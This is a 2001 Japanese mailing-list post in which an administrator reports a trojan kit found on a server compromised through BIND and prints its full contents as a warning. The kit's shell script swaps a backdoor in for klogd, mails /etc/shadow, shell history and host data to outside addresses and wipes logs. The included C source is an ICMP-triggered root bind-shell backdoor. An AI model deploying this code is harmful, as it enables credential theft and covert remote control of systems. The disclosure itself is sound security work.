[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]
[connect24h:02027] トロイ発見!!
- To: connect24h@xxxxxxxxxxxxx
- Subject: [connect24h:02027] トロイ発見!!
- From: ayatuki@xxxxxxxxxx
- Date: Thu, 8 Mar 2001 21:27:43 +0900
kirei 『ねぇ、見た?このサイト』
suteki 『これでしょう!いいよね♪』
http://www.kadan.ne.jp/bn.cgi?info02
kantan 『お、いいね。早速使おうっと!』
------------------------------------------------------------------------
綾月です。
ある知り合いのサーバから下記を発見しました。
再起動しなくてよかった(^^;)
bindが落ちていたので、やられたかなと思い調べていると、namedのディレクトリ以下にstart.tarなるものを発
見!!!!!
サーバはコバルトです。
bindは完全に落ちていました。
bindのバージョンが上げてないようなので、やられてるんじゃないかと思い、サーバを調べていたところ発見し
ました。
サーバ名とは一切伏せることで、みなさんに通知することを許可されました。
みなさん、調べてみてください。
bindのディレクトリに
----------------------------------------------------------------------------------------------------
------
-rw-r--r-- 1 root root 30720 Mar 8 15:50 start.tar
上記を解凍した結果は
----------------------------------------------------------------------------------------------------
------
total 23
drwxr-xr-x 2 root root 1024 Mar 7 04:10 .
drwxr-xr-x 3 root root 1024 Mar 8 21:02 ..
-rwxr-xr-x 1 root bin 14792 May 3 1996 icmp
-rw-r--r-- 1 root bin 2519 May 3 1996 icmp.c
-rwxr-xr-x 1 root root 1148 Mar 7 05:17 start.sh
start.shのスクリプトの内容
----------------------------------------------------------------------------------------------------
------
#!/bin/sh
#test
export PATH=/sbin:/usr/sbin:/bin:/usr/bin:.
cc -o icmp icmp.c 1>>/dev/null 2>>/dev/null 3>>/dev/null
if [ -f /sbin/klogd ]; then
killall -9 klogd 1>>/dev/null 2>>/dev/null 3>>/dev/null
rm /sbin/klogd;cp icmp /sbin/klogd
touch -r /bin/sh /sbin/klogd
klogd
echo /**************************HOST IP*****************************/ >>mail.txt
ifconfig >>mail.txt
echo /**************************HISTORY***************************/ >>mail.txt
cat /root/.bash_history >>mail.txt
echo /************************HOSTS*****************************/ >>mail.txt
cat /etc/hosts >>mail.txt
echo /************************PASSWD***************************/ >>mail.txt
cat /etc/shadow >>mail.txt
mail adore1975@xxxxxxxx < mail.txt
echo >/var/log/maillog
echo >/var/log/messages
rm -rf ../bind
exit 0
fi
killall -9 klogd 1>>/dev/null 2>>/dev/null 3>>/dev/null
rm -rf /usr/sbin/klogd;cp icmp /usr/sbin/klogd
touch -r /bin/sh /usr/sbin/klogd
klogd
ifconfig >>mail.txt
cat /root/.bash_history >>mail.txt
cat /etc/hosts >>mail.txt
cat /etc/shadow >>mail.txt
mail sniffer5549@xxxxxxxx < mail.txt
echo >/var/log/maillog
echo >/var/log/messages
rm -rf ../bind
icmp.cはbackdoorで間違い無し。
----------------------------------------------------------------------------------------------------
------
/*
ping backdoor for SunOS , test on Solaris7 x86 , but when you use it in SunOS
because the ps's useage is ps -ef , so change argv[0] can't work , I define the
sizepack and port in it, just rename it to syslogd(or other)and run
code by jamez
edit by quack
*/
#include <signal.h>
#include <netinet/in.h>
#include <netdb.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <stdio.h>
#define SIZEPACK 70
#define PORT 52918
void child_kill()
{
wait(NULL);
signal(SIGCHLD, child_kill);
}
int bind_shell()
{
int soc_des, soc_cli, soc_rc, soc_len, server_pid, cli_pid;
struct sockaddr_in serv_addr;
struct sockaddr_in client_addr;
setuid(0);
setgid(0);
seteuid(0);
setegid(0);
chdir("/");
soc_des = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (soc_des == -1)
exit(-1);
bzero((char *) &serv_addr,sizeof(serv_addr));
serv_addr.sin_family = AF_INET;
serv_addr.sin_addr.s_addr = htonl(INADDR_ANY);
serv_addr.sin_port = htons(PORT);
soc_rc = bind(soc_des, (struct sockaddr *) &serv_addr, sizeof(serv_addr));
if (soc_rc != 0)
exit(-1);
if (fork() != 0)
exit(0);
setpgrp();
if (fork() != 0)
exit(0);
soc_rc = listen(soc_des, 5);
if (soc_rc != 0)
exit(0);
while (1)
{
soc_len = sizeof(client_addr);
soc_cli = accept(soc_des, (struct sockaddr *) &client_addr, &soc_len);
if (soc_cli < 0)
exit(0);
cli_pid = getpid();
server_pid = fork();
if (server_pid != 0)
{
dup2(soc_cli,0);
dup2(soc_cli,1);
dup2(soc_cli,2);
execl("/bin/sh","sh",(char *)0);
close(soc_cli);
return 1;
}
close(soc_cli);
}
}
int main(int argc, char *argv[])
{
int s, size, fromlen;
char pkt[4096];
struct protoent *proto;
struct sockaddr_in from;
if (fork() != 0) exit(0);
proto = getprotobyname("icmp");
if ((s = socket(AF_INET, SOCK_RAW, proto->p_proto)) < 0)
/* can't creat raw socket */
exit(0);
/* waiting for packets */
while(1)
{
do
{
fromlen = sizeof(from);
if ((size = recvfrom(s, pkt, sizeof(pkt), 0, (struct sockaddr *) &from, &fromlen)) < 0)
printf("ping of %i\n", size-28);
} while (size != SIZEPACK + 28);
/* size == SIZEPACK, let's bind the shell */
switch(fork()) {
case -1:
continue;
case 0:
bind_shell();
exit(0);
}
sleep(15);
}
}
みなさんの意見お願いします。
既にこれらの情報が出ていたら申し訳ないです。
何分メールが多かったので、みおとしがあるかも・・・・・
____________________________________________________________
■A C A M - J . C O M / N E T ____________________________■
/ HOKKAIDO SOHO CLUB from 1997
☆☆☆ /
☆ CG ARTIST / T U K A S A . A Y A T U K I
SECURITY SPECIALIST /
☆ E-MAIL / ayatuki@xxxxxxxxxx
☆☆ WWW / http://www.acam-j.com
_______________________/
■________________________________________________________■